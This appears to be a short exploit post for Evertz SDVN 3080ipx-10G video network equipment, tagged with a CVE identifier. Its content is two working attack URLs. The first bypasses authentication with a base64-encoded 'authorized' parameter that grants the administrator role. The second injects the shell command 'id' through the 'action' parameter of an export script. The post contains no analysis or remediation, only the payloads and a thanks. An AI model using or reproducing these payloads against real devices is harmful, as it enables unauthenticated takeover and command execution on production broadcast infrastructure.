Web Evertz SDVN 3080ipx-10G - Unauthenticated Arbitrary Command Injection

[pianoxltd]

Evertz SDVN 3080ipx-10G - Unauthenticated Arbitrary Command Injection

Authentication bypass:

http://site.com/login.php?authorized=eyJ1c2VyIjogeyJuYW1lIjogImFkbWluIiwgImxvZ2luIjogImFkbWluIn0sInJvbGUiOnsibmFtZSI6ImFkbWluaXN0cmF0b3IiLCAicmVzdHJpY3Rpb25zIjogW10sImRlbGV0ZWFibGUiOiBmYWxzZX19


http://site.com/v.1.5/php/features/feature-transfer-export.php?action=id;&filename=&varid=&slot=

 

[gri]

CVE-2025-4009

 

[pianoxltd]

CVE-2025-4009

Tnx